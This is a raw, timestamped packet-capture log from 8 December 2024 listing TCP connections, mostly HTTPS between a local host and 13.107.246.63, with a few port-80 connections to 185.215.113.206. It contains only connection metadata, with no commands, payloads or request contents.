Dec 8, 2024 00:48:29.725766897 CET	443	49759	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.725831985 CET	443	49759	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.725960016 CET	49759	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.726222038 CET	443	49757	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.726272106 CET	443	49757	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.726289988 CET	443	49756	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.726322889 CET	49757	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.726335049 CET	443	49756	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.726381063 CET	49756	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.726998091 CET	49757	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.727015018 CET	443	49757	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.728522062 CET	49756	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.728538990 CET	443	49756	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.728548050 CET	49756	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.728554964 CET	443	49756	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.732131958 CET	49758	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.732136965 CET	443	49758	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.732145071 CET	49758	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.732147932 CET	443	49758	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.732889891 CET	49759	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.732896090 CET	443	49759	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.734839916 CET	49761	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.734872103 CET	443	49761	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.735017061 CET	49761	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.735411882 CET	49761	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.735423088 CET	443	49761	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.736761093 CET	49762	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.736780882 CET	443	49762	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.736860991 CET	49762	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.736970901 CET	49762	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.736983061 CET	443	49762	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.738045931 CET	49763	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.738055944 CET	443	49763	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.738205910 CET	49763	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.739440918 CET	49764	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.739464045 CET	443	49764	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.739587069 CET	49764	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.741126060 CET	49765	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.741153955 CET	443	49765	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.741214991 CET	49765	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.741539001 CET	49763	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.741549969 CET	443	49763	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.741640091 CET	49764	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.741651058 CET	443	49764	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.741719961 CET	49765	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.741730928 CET	443	49765	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.038424969 CET	80	49738	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:31.038487911 CET	49738	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:31.484313965 CET	443	49761	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.484484911 CET	443	49762	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.484772921 CET	49761	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.484788895 CET	443	49761	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.485002995 CET	49762	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.485021114 CET	443	49762	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.485420942 CET	49762	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.485426903 CET	443	49762	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.485475063 CET	49761	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.485480070 CET	443	49761	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.486955881 CET	443	49763	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.487253904 CET	443	49764	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.487260103 CET	49763	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.487272978 CET	443	49763	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.487585068 CET	49764	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.487596989 CET	443	49764	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.487782955 CET	49763	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.487792015 CET	443	49763	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.487845898 CET	443	49765	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.488013983 CET	49764	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.488024950 CET	443	49764	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.488163948 CET	49765	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.488181114 CET	443	49765	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.488497019 CET	49765	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.488502026 CET	443	49765	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.917728901 CET	443	49762	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.917804956 CET	443	49762	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.917896032 CET	49762	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.918060064 CET	49762	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.918071985 CET	443	49762	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.918081045 CET	49762	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.918085098 CET	443	49762	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.918670893 CET	443	49761	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.918726921 CET	443	49761	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.918771029 CET	49761	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.918910980 CET	49761	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.918925047 CET	443	49761	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.918941975 CET	49761	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.918947935 CET	443	49761	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.920897961 CET	443	49763	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.920959949 CET	443	49763	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.920973063 CET	49767	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.920999050 CET	49763	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.921004057 CET	443	49767	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.921063900 CET	49767	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.921356916 CET	49763	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.921361923 CET	443	49763	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.921375036 CET	49763	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.921377897 CET	443	49763	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.921427011 CET	49767	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.921437025 CET	443	49767	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.921515942 CET	443	49764	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.921571970 CET	443	49764	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.921734095 CET	49764	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.921734095 CET	49764	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.921770096 CET	49764	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.921783924 CET	443	49764	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.922158957 CET	49768	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.922193050 CET	443	49768	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.922249079 CET	49768	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.922394037 CET	443	49765	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.922441959 CET	443	49765	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.922489882 CET	49765	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.922668934 CET	49768	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.922679901 CET	443	49768	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.922852039 CET	49765	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.922863960 CET	443	49765	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.922873974 CET	49765	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.922878981 CET	443	49765	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.924531937 CET	49769	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.924563885 CET	443	49769	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.924607038 CET	49769	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.924742937 CET	49769	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.924756050 CET	443	49769	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.925539017 CET	49770	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.925548077 CET	443	49770	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.925642967 CET	49770	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.925990105 CET	49770	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.925997972 CET	443	49770	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.926112890 CET	49771	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.926131964 CET	443	49771	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.926178932 CET	49771	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.926323891 CET	49771	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:31.926337004 CET	443	49771	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:31.971090078 CET	49677	443	192.168.2.7	20.50.201.200
Dec 8, 2024 00:48:33.634371042 CET	443	49767	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:33.635370016 CET	49767	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:33.635387897 CET	443	49767	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:33.635870934 CET	49767	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:33.635880947 CET	443	49767	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:33.636243105 CET	443	49768	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:33.636619091 CET	49768	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:33.636665106 CET	443	49768	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:33.637195110 CET	49768	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:33.637202978 CET	443	49768	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:33.642766953 CET	443	49769	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:33.643028975 CET	49769	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:33.643044949 CET	443	49769	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:33.643343925 CET	49769	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:33.643347979 CET	443	49769	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:33.645910025 CET	443	49770	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:33.646234035 CET	49770	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:33.646269083 CET	443	49770	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:33.646810055 CET	49770	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:33.646819115 CET	443	49770	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:33.647342920 CET	443	49771	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:33.647650003 CET	49771	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:33.647664070 CET	443	49771	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:33.648238897 CET	49771	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:33.648243904 CET	443	49771	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.068257093 CET	443	49767	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.068331003 CET	443	49767	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.068401098 CET	49767	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.068538904 CET	49767	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.068538904 CET	49767	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.068558931 CET	443	49767	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.068572044 CET	443	49767	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.071520090 CET	443	49768	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.071583033 CET	443	49768	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.071634054 CET	49768	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.074599981 CET	49768	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.074626923 CET	443	49768	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.074645042 CET	49768	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.074651003 CET	443	49768	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.076538086 CET	443	49769	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.076611042 CET	443	49769	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.076656103 CET	49769	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.077497005 CET	49769	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.077517986 CET	443	49769	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.077528954 CET	49769	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.077534914 CET	443	49769	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.080362082 CET	443	49770	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.080426931 CET	443	49770	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.080503941 CET	49770	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.082937002 CET	443	49771	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.083002090 CET	443	49771	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.083041906 CET	49771	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.091984034 CET	49770	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.092019081 CET	443	49770	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.092032909 CET	49770	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.092039108 CET	443	49770	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.092039108 CET	49773	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.092083931 CET	443	49773	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.092137098 CET	49773	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.092243910 CET	49771	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.092272997 CET	443	49771	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.092288971 CET	49771	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.092294931 CET	443	49771	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.094506979 CET	49774	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.094544888 CET	443	49774	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.094587088 CET	49773	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.094609022 CET	443	49773	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.094609976 CET	49774	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.094743967 CET	49774	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.094753027 CET	443	49774	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.095920086 CET	49775	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.095946074 CET	443	49775	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.095999002 CET	49775	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.096859932 CET	49776	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.096892118 CET	443	49776	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.096945047 CET	49776	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.097467899 CET	49777	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.097486019 CET	443	49777	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.097537994 CET	49777	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.097620010 CET	49775	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.097645998 CET	443	49775	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.097714901 CET	49776	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.097729921 CET	443	49776	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:34.097800970 CET	49777	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:34.097815037 CET	443	49777	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:35.816874027 CET	443	49773	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:35.820082903 CET	443	49777	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:35.820575953 CET	443	49774	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:35.820724964 CET	443	49776	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:35.820777893 CET	443	49775	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:35.825763941 CET	49775	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:35.825789928 CET	443	49775	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:35.826232910 CET	49775	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:35.826239109 CET	443	49775	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:35.826558113 CET	49773	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:35.826567888 CET	443	49773	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:35.826966047 CET	49773	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:35.826968908 CET	443	49773	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:35.827239037 CET	49777	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:35.827279091 CET	443	49777	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:35.827672005 CET	49777	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:35.827677965 CET	443	49777	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:35.827951908 CET	49774	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:35.827979088 CET	443	49774	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:35.828322887 CET	49774	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:35.828329086 CET	443	49774	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:35.828594923 CET	49776	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:35.828615904 CET	443	49776	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:35.829019070 CET	49776	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:35.829022884 CET	443	49776	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.251573086 CET	443	49773	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.251641035 CET	443	49773	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.251730919 CET	49773	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.251981974 CET	49773	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.252000093 CET	443	49773	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.252017021 CET	49773	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.252022982 CET	443	49773	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.253787041 CET	443	49774	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.253844023 CET	443	49774	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.253906012 CET	49774	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.254051924 CET	49774	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.254077911 CET	443	49774	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.254092932 CET	49774	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.254098892 CET	443	49774	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.254442930 CET	443	49777	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.254503012 CET	443	49777	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.254813910 CET	49777	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.254894018 CET	443	49776	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.254959106 CET	443	49776	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.255114079 CET	49776	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.255400896 CET	443	49775	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.255471945 CET	443	49775	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.255491018 CET	49777	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.255517960 CET	443	49777	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.255538940 CET	49777	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.255543947 CET	443	49777	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.255549908 CET	49775	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.255920887 CET	49779	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.255950928 CET	443	49779	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.256031036 CET	49779	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.256217003 CET	49776	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.256231070 CET	443	49776	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.256241083 CET	49776	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.256246090 CET	443	49776	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.256586075 CET	49775	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.256594896 CET	443	49775	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.256604910 CET	49775	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.256608963 CET	443	49775	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.256654024 CET	49779	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.256665945 CET	443	49779	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.259017944 CET	49780	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.259038925 CET	443	49780	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.259094000 CET	49780	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.259655952 CET	49781	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.259675980 CET	443	49781	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.259677887 CET	49780	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.259686947 CET	443	49780	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.259731054 CET	49781	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.259875059 CET	49781	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.259886026 CET	443	49781	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.260384083 CET	49782	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.260391951 CET	443	49782	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.260457993 CET	49782	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.260584116 CET	49782	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.260592937 CET	443	49782	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.260659933 CET	49783	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.260668039 CET	443	49783	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:36.260731936 CET	49783	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.260806084 CET	49783	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:36.260814905 CET	443	49783	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:37.590758085 CET	49738	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:37.591042995 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:37.710488081 CET	80	49738	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:37.710716963 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:37.710815907 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:37.710997105 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:37.799927950 CET	443	49781	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:37.800092936 CET	443	49782	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:37.830838919 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:37.845233917 CET	49781	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:37.845241070 CET	443	49781	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:37.846190929 CET	49782	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:37.876239061 CET	49781	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:37.876247883 CET	443	49781	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:37.887900114 CET	49782	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:37.887923956 CET	443	49782	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:37.892123938 CET	49782	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:37.892143965 CET	443	49782	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:37.986974955 CET	443	49779	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:37.987843990 CET	443	49780	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:37.989068031 CET	443	49783	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.033659935 CET	49783	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.033660889 CET	49780	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.033663988 CET	49779	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.033932924 CET	49779	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.033943892 CET	443	49779	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.034657955 CET	49779	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.034662962 CET	443	49779	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.035064936 CET	49780	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.035074949 CET	443	49780	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.035459995 CET	49780	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.035464048 CET	443	49780	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.035908937 CET	49783	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.035916090 CET	443	49783	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.036253929 CET	49783	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:38.036258936 CET	443	49783	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:38.233772993 CET	443	49782	13.107.246.63	192.168.2.7
